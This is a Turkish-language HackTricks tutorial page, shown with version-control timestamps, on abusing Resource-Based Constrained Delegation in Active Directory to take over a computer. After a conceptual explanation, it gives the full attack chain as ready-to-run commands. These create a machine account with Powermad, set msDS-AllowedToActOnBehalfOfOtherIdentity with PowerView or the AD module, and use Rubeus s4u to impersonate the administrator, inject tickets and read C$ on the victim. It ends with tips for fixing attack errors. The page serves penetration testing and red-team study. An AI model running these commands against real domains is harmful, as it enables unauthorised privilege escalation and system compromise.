hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

150 lines
12 KiB
Markdown
Raw Normal View History

# Kaynak Tabanlı Kısıtlanmış Delegasyon
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-02 19:28:04 +01:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Kaynak Tabanlı Kısıtlanmış Delegasyonun Temelleri
Bu, temel [Kısıtlanmış Delegasyon](constrained-delegation.md) ile benzerdir ancak **bir nesneye herhangi bir kullanıcıyı temsil etme izni vermek yerine** nesne içinde **herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcıları belirler**. Kaynak Tabanlı Kısıtlanmış Delegasyon, **nesne içinde herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcıların adıyla bir özellik olan _msDS-AllowedToActOnBehalfOfOtherIdentity_ özniteliğine sahiptir**.
Bu Kısıtlanmış Delegasyon ile diğer delegasyonlar arasındaki önemli farklardan biri, **bir makine hesabı üzerinde yazma izinlerine sahip olan herhangi bir kullanıcının _msDS-AllowedToActOnBehalfOfOtherIdentity_ özniteliğini ayarlayabilmesidir** (Diğer Delegasyon biçimlerinde etki alanı yönetici ayrıcalıklarına ihtiyacınız vardı).
2024-02-10 18:14:16 +00:00
### Yeni Kavramlar
Kısıtlanmış Delegasyonda, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının bir **S4U2Self** gerçekleştirmek için gerekliliği olduğu söylendi. Ancak bu tamamen doğru değil.\
Gerçek şu ki, bu değere sahip olmasanız bile, bir **hizmet** (SPN'ye sahip olan) olarak **herhangi bir kullanıcıya karşı S4U2Self** gerçekleştirebilirsiniz ancak, **`TrustedToAuthForDelegation`**'a sahipseniz dönen TGS **Forwardable** olacaktır ve bu bayrağa sahip değilseniz dönen TGS **Forwardable** olmayacaktır.
Ancak, **S4U2Proxy** içinde kullanılan **TGS** **Forwardable** değilse, bir **temel Kısıtlanmış Delegasyonu** kötüye kullanmaya çalışmak **çalışmayacaktır**. Ancak **Kaynak Tabanlı kısıtlanmış delegasyonu** kötüye kullanmaya çalışıyorsanız, bu çalışacaktır (bu bir zayıflık değil, görünüşe göre bir özelliktir).
2024-02-10 18:14:16 +00:00
### Saldırı Yapısı
> Eğer bir **Bilgisayar** hesabı üzerinde **yazma eşdeğer ayrıcalıklarınız** varsa, o makinede **özel erişim** elde edebilirsiniz.
Saldırganın zaten **kurban bilgisayar üzerinde yazma eşdeğer ayrıcalıkları** olduğunu varsayalım.
1. Saldırgan, bir **SPN'ye sahip bir hesabı ele geçirir** veya bir tane **oluşturur** ("Hizmet A"). Not edin ki **herhangi bir** _Yönetici Kullanıcısı_ herhangi başka özel ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi (**_**MachineAccountQuota**_**)** oluşturabilir ve bunlara bir SPN ayarlayabilir. Bu nedenle saldırgan sadece bir Bilgisayar nesnesi oluşturabilir ve bir SPN ayarlayabilir.
2. Saldırgan, kurban bilgisayar üzerindeki **YAZMA ayrıcalığını kötüye kullanarak** kaynak tabanlı kısıtlanmış delegasyonu yapılandırır ve bu sayede Hizmet A'nın o kurban bilgisayar (Hizmet B) karşısında **herhangi bir kullanıcıyı temsil etmesine izin verir**.
3. Saldırgan, Service A'dan Service B'ye **özel erişime sahip bir kullanıcı** için bir **tam S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek için Rubeus'u kullanır.
1. S4U2Self (ele geçirilen/oluşturulan SPN hesabından): **Yönetici için bana bir TGS** iste (Forwardable değil).
2. S4U2Proxy: Önceki adımda kullanılan **Forwardable olmayan TGS**'yi kullanarak **Yönetici**'den **kurban ana bilgisayarına bir TGS** iste.
3. Forwardable olmayan bir TGS kullanıyor olsanız da, Kaynak Tabanlı Kısıtlanmış Delegasyonu kötüye kullanıyorsanız, bu çalışacaktır.
4. Saldırgan **bilet aktarımı** yapabilir ve **kurban Hizmet B'ye erişim kazanmak için** kullanıcıyı **temsil edebilir**.
Alanın _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz:
2024-02-08 04:06:37 +01:00
```powershell
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
2024-02-10 18:14:16 +00:00
## Saldırı
2024-02-10 18:14:16 +00:00
### Bir Bilgisayar Nesnesi Oluşturma
Alan içinde bir bilgisayar nesnesi oluşturabilirsiniz, [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
2024-02-08 04:06:37 +01:00
```powershell
import-module powermad
2022-09-03 00:18:00 +00:00
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
2024-02-08 04:06:37 +01:00
# Check if created
Get-DomainComputer SERVICEA
```
### R**esource-based Constrained Delegation**'ı Yapılandırma
**activedirectory PowerShell modülünü kullanma**
2024-02-08 04:06:37 +01:00
```powershell
2022-09-03 00:18:00 +00:00
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
2021-01-04 17:35:09 +00:00
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**powerview Kullanımı**
2024-02-08 04:06:37 +01:00
```powershell
2021-01-04 17:35:09 +00:00
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
2024-02-10 18:14:16 +00:00
### Tam bir S4U saldırısı gerçekleştirme
2021-01-04 17:35:09 +00:00
İlk olarak, `123456` şifresiyle yeni Bilgisayar nesnesini oluşturduk, bu yüzden o şifrenin hash'ine ihtiyacımız var:
```bash
2021-01-04 10:44:22 +00:00
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
2024-02-10 18:14:16 +00:00
Bu, hesap için RC4 ve AES karmaşalarını yazdıracaktır.\
Şimdi, saldırı gerçekleştirilebilir:
```bash
2021-01-04 17:35:09 +00:00
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Rubeus'un `/altservice` parametresini kullanarak sadece bir kez sorarak daha fazla bilet oluşturabilirsiniz:
2021-01-04 10:44:22 +00:00
```bash
2021-01-04 15:01:06 +00:00
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
2021-01-04 10:44:22 +00:00
```
2021-01-04 17:35:09 +00:00
{% hint style="danger" %}
Kullanıcıların "**Delegasyon yapılamaz**" adında bir özelliği bulunmaktadır. Bir kullanıcının bu özelliği True olarak ayarlanmışsa, onun yerine geçemezsiniz. Bu özellik BloodHound içinde görülebilir.
2021-01-04 17:35:09 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Erişim
Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve Yönetici'den kurban ana bilgisayarına TGS enjekte edecektir**.\
Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS istendi, böylece **C$**'ye erişebileceksiniz:
```bash
ls \\victim.domain.local\C$
```
2024-02-10 18:14:16 +00:00
### Farklı hizmet biletlerini kötüye kullanma
[**Mevcut hizmet biletlerini buradan öğrenin**](silver-ticket.md#available-services).
2021-01-04 22:37:21 +00:00
2024-02-10 18:14:16 +00:00
## Kerberos Hataları
2021-01-04 10:44:22 +00:00
* **`KDC_ERR_ETYPE_NOTSUPP`**: Bu, kerberos'un DES veya RC4'ü kullanmamak için yapılandırıldığı anlamına gelir ve siz sadece RC4 hash'ini sağlıyorsunuz. Rubeus'a en az AES256 hash'ini sağlayın (veya sadece rc4, aes128 ve aes256 hash'lerini sağlayın). Örnek: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: Bu, mevcut bilgisayarın saati ile DC'nin saatinin farklı olduğu ve kerberos'un düzgün çalışmadığı anlamına gelir.
* **`preauth_failed`**: Bu, verilen kullanıcı adı + hash'lerin giriş yapmak için çalışmadığı anlamına gelir. Hash'leri oluştururken kullanıcı adının içine "$" koymayı unutmuş olabilirsiniz (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
2024-02-10 18:14:16 +00:00
* **`KDC_ERR_BADOPTION`**: Bu şunları ifade edebilir:
* Taklit etmeye çalıştığınız kullanıcının istenilen hizmete erişimi olmayabilir (çünkü taklit edemezsiniz veya yeterli ayrıcalığa sahip değildir)
* İstenen hizmet mevcut değil (örneğin winrm için bir bilet istediyseniz ancak winrm çalışmıyorsa)
* Oluşturulan fakecomputer, zayıf sunucu üzerindeki ayrıcalıklarını kaybetmiş olabilir ve geri vermeniz gerekebilir.
2021-01-04 10:44:22 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2022-09-03 00:18:00 +00:00
* [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
2022-04-28 16:01:33 +00:00
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme hakkında bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-01-02 19:28:04 +01:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) takip edin.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
2022-04-28 16:01:33 +00:00
</details>